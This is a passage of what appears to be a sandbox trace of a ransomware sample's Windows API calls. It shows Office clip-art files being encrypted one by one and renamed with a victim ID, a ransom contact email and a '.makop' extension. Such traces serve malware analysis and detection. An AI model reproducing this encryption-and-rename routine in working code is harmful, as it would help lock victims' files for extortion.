wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02400_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0141.403] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02400_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02400_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02400_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02400_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0141.404] CloseHandle (hObject=0xf0) returned 1 [0141.404] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2120, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02404_.WMF", cAlternateFileName="")) returned 1 [0141.404] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02404_.WMF") returned 63 [0141.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02404_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02404_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0141.407] GetProcessHeap () returned 0x48a0000 [0141.407] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0141.407] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0141.407] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0141.407] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.408] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.408] GetProcessHeap () returned 0x48a0000 [0141.408] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0141.408] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0141.408] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.408] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0141.413] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0141.413] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0141.413] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0141.413] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0141.413] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0141.413] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.414] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.414] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.414] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2120, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2120, lpOverlapped=0x0) returned 1 [0141.415] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2120, dwBufLen=0x2120 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2120) returned 1 [0141.416] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.416] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2120, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2120, lpOverlapped=0x0) returned 1 [0141.416] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.416] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x21f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.416] SetEndOfFile (hFile=0xf0) returned 1 [0141.423] GetProcessHeap () returned 0x48a0000 [0141.423] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0141.423] GetProcessHeap () returned 0x48a0000 [0141.423] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0141.423] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02404_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0141.423] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02404_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02404_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02404_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02404_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0141.425] CloseHandle (hObject=0xf0) returned 1 [0141.425] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5080, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02405_.WMF", cAlternateFileName="")) returned 1 [0141.425] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02405_.WMF") returned 63 [0141.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02405_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0141.426] GetProcessHeap () returned 0x48a0000 [0141.426] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0141.426] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0141.426] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0141.427] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.427] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.427] GetProcessHeap () returned 0x48a0000 [0141.427] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0141.427] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0141.428] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.428] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0141.435] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0141.435] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0141.435] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0141.435] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0141.436] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0141.436] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.436] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.436] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.436] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5080, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x5080, lpOverlapped=0x0) returned 1 [0141.438] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5080, dwBufLen=0x5080 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5080) returned 1 [0141.438] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.438] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5080, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5080, lpOverlapped=0x0) returned 1 [0141.438] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.438] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5154, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.439] SetEndOfFile (hFile=0xf0) returned 1 [0141.446] GetProcessHeap () returned 0x48a0000 [0141.446] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0141.446] GetProcessHeap () returned 0x48a0000 [0141.446] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0141.446] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02405_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0141.446] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02405_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02405_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02405_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0141.448] CloseHandle (hObject=0xf0) returned 1 [0141.448] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1fc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02407_.WMF", cAlternateFileName="")) returned 1 [0141.448] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02407_.WMF") returned 63 [0141.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02407_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0141.449] GetProcessHeap () returned 0x48a0000 [0141.449] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0141.449] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0141.449] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0141.449] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0141.453] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.453] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.453] GetProcessHeap () returned 0x48a0000 [0141.454] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0141.454] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0141.454] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.454] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0141.454] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0141.455] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0141.455] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0141.455] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0141.455] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0141.455] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.455] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.455] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.456] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1fc8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1fc8, lpOverlapped=0x0) returned 1 [0141.457] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1fd0, dwBufLen=0x1fd0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1fd0) returned 1 [0141.457] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.457] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1fd0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1fd0, lpOverlapped=0x0) returned 1 [0141.458] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.458] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x20a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.458] SetEndOfFile (hFile=0xf0) returned 1 [0141.465] GetProcessHeap () returned 0x48a0000 [0141.465] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0141.465] GetProcessHeap () returned 0x48a0000 [0141.465] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0141.465] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02407_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0141.465] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02407_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02407_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02407_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0141.466] CloseHandle (hObject=0xf0) returned 1 [0141.466] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x28ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02413_.WMF", cAlternateFileName="")) returned 1 [0141.467] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02413_.WMF") returned 63 [0141.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02413_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0141.468] GetProcessHeap () returned 0x48a0000 [0141.468] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0141.468] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0141.468] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0141.468] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0141.476] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.476] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.476] GetProcessHeap () returned 0x48a0000 [0141.476] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0141.476] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0141.476] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.476] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0141.476] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0141.476] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0141.477] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0141.477] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0141.477] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0141.477] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.477] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.477] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.477] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x28ec, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x28ec, lpOverlapped=0x0) returned 1 [0141.482] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x28f0, dwBufLen=0x28f0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x28f0) returned 1 [0141.482] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.482] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x28f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x28f0, lpOverlapped=0x0) returned 1 [0141.482] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.482] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x29c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.482] SetEndOfFile (hFile=0xf0) returned 1 [0141.488] GetProcessHeap () returned 0x48a0000 [0141.489] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 